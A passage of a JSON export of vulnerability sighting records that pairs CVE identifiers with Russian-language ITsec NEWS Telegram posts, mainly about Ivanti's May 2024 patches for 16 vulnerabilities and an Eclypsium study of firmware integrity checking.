\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u00ab\u043b\u043e\u0436\u043d\u043e\u0435 \u0447\u0443\u0432\u0441\u0442\u0432\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\u00bb.\n\n\u041d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0439 Eclypsium \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0442\u0435\u043e\u0440\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0430\u0442\u0430\u043a\u0443, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Eclypsium \u043f\u0440\u0438\u0448\u043b\u0438 \u043a \u0432\u044b\u0432\u043e\u0434\u0443, \u0447\u0442\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u0438 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u044b \u0432\u044b\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u0443\u044e \u0438 \u043f\u0440\u043e\u0437\u0440\u0430\u0447\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u0434\u0430\u0432\u0430\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0442\u044c \u0438\u0445 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c.\n\n\u00ab\u0427\u0435\u043c \u0431\u043e\u043b\u0435\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0431\u0443\u0434\u0435\u0442 \u044d\u0442\u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0442\u0435\u043c \u043b\u0443\u0447\u0448\u0435 \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a\u00bb, \u2014 \u0437\u0430\u043a\u043b\u044e\u0447\u0438\u043b\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-02-19T11:52:46.000000Z"}, {"uuid": "956ae922-5cdd-45dc-a3bc-f8ac97f3412d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22060", "type": "seen", "source": "https://t.me/itsec_news/4463", "content": "\u200b\u26a1\ufe0f\u0421\u0440\u0430\u0437\u0443 \u043f\u044f\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Ivanti \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\n\n\ud83d\udcac21 \u043c\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Ivanti \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0442\u0430\u043a\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u043a\u0430\u043a Endpoint Manager, Avalanche, Neurons for ITSM, Connect Secure \u0438 Secure Access. \u0421\u0443\u043c\u043c\u0430\u0440\u043d\u043e \u0431\u044b\u043b\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e 16 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u044b \u043a\u0440\u0430\u0442\u043a\u043e \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0438\u0436\u0435.\n\n\u0418\u0437 \u0434\u0435\u0441\u044f\u0442\u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Endpoint Manager \u0448\u0435\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f\u043c\u0438 (CVE-2024-29822, CVE-2024-29823, CVE-2024-29824, CVE-2024-29825, CVE-2024-29826, CVE-2024-29827). \u041e\u043d\u0438 \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 9.6 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS. \u042d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0435\u043c\u0443\u0441\u044f \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0435\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Endpoint Manager (CVE-2024-29828, CVE-2024-29829, CVE-2024-29830, CVE-2024-29846) \u0443\u0436\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e, \u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u042d\u0442\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 8.4 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044f Core \u0441\u0435\u0440\u0432\u0435\u0440 Ivanti EPM 2022 SU5 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0412 \u043a\u043b\u0438\u0435\u043d\u0442\u0435 Ivanti Avalanche \u0432\u0435\u0440\u0441\u0438\u0438 6.4.3.602 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-29848 (CVSS 7.2), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\n\n\u0422\u0430\u043a\u0436\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u043f\u044f\u0442\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438: SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f (CVE-2024-22059, CVSS 8.8) \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 (CVE-2024-22060, CVSS 8.7) \u0432 Ivanti Neurons for ITSM, CRLF-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 Ivanti Connect Secure (CVE-2023-38551, CVSS 8.2) \u0438 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 Ivanti Secure Access: CVE-2023-38042, CVSS 7.8 (\u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Windows) \u0438 CVE-2023-46810, CVSS 7.3 (\u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Linux).\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u043b\u0430, \u0447\u0442\u043e \u0443 \u043d\u0435\u0451 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432\u0441\u0435\u0445 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0438\u043b\u0438 \u0438\u0445 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\n\u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c Ivanti \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0422\u0430\u043a\u0436\u0435 \u043a\u0440\u0430\u0439\u043d\u0435 \u0432\u0430\u0436\u043d\u043e \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c \u043b\u0443\u0447\u0448\u0438\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430\u043c \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0434\u0438\u0442 \u0441\u0438\u0441\u0442\u0435\u043c \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043c\u0435\u0442\u044c \u043f\u043b\u0430\u043d \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0434\u043b\u044f \u0431\u044b\u0441\u0442\u0440\u043e\u0439 \u0440\u0435\u0430\u043a\u0446\u0438\u0438 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-05-24T23:27:46.000000Z"}, {"uuid": "5d86f05f-91a5-47d2-9df5-880d673470d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22059", "type": "seen", "source": "https://t.me/itsec_news/4463", "content": "\u200b\u26a1\ufe0f\u0421\u0440\u0430\u0437\u0443 \u043f\u044f\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Ivanti \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\n\n\ud83d\udcac21 \u043c\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Ivanti \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0442\u0430\u043a\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u043a\u0430\u043a Endpoint Manager, Avalanche, Neurons for ITSM, Connect Secure \u0438 Secure Access. \u0421\u0443\u043c\u043c\u0430\u0440\u043d\u043e \u0431\u044b\u043b\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e 16 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u044b \u043a\u0440\u0430\u0442\u043a\u043e \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0438\u0436\u0435.\n\n\u0418\u0437 \u0434\u0435\u0441\u044f\u0442\u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Endpoint Manager \u0448\u0435\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f\u043c\u0438 (CVE-2024-29822, CVE-2024-29823, CVE-2024-29824, CVE-2024-29825, CVE-2024-29826, CVE-2024-29827). \u041e\u043d\u0438 \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 9.6 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS. \u042d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0435\u043c\u0443\u0441\u044f \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0435\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Endpoint Manager (CVE-2024-29828, CVE-2024-29829, CVE-2024-29830, CVE-2024-29846) \u0443\u0436\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e, \u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u042d\u0442\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u043c\u0435\u044e\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 8.4 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044f Core \u0441\u0435\u0440\u0432\u0435\u0440 Ivanti EPM 2022 SU5 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0412 \u043a\u043b\u0438\u0435\u043d\u0442\u0435 Ivanti Avalanche \u0432\u0435\u0440\u0441\u0438\u0438 6.4.3.602 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-29848 (CVSS 7.2), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\n\n\u0422\u0430\u043a\u0436\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u043f\u044f\u0442\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438: SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f (CVE-2024-22059, CVSS 8.8) \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 (CVE-2024-22060, CVSS 8.7) \u0432 Ivanti Neurons for ITSM, CRLF-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 Ivanti Connect Secure (CVE-2023-38551, CVSS 8.2) \u0438 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 Ivanti Secure Access: CVE-2023-38042, CVSS 7.8 (\u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Windows) \u0438 CVE-2023-46810, CVSS 7.3 (\u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Linux).\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u043b\u0430, \u0447\u0442\u043e \u0443 \u043d\u0435\u0451 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432\u0441\u0435\u0445 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0438\u043b\u0438 \u0438\u0445 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\n\u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c Ivanti \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0422\u0430\u043a\u0436\u0435 \u043a\u0440\u0430\u0439\u043d\u0435 \u0432\u0430\u0436\u043d\u043e \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c \u043b\u0443\u0447\u0448\u0438\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430\u043c \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0434\u0438\u0442 \u0441\u0438\u0441\u0442\u0435\u043c \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043c\u0435\u0442\u044c \u043f\u043b\u0430\u043d \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0434\u043b\u044f \u0431\u044b\u0441\u0442\u0440\u043e\u0439 \u0440\u0435\u0430\u043a\u0446\u0438\u0438 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-05-24T23:27:46.000000Z"}, {"uuid": "5c0d628f-00ae-46a6-af43-31594c508225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22303", "type": "seen", "source": "https://t.me/itsec_news/4758", "content": "\u200b\u26a1\ufe0f\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Houzez: 46 000 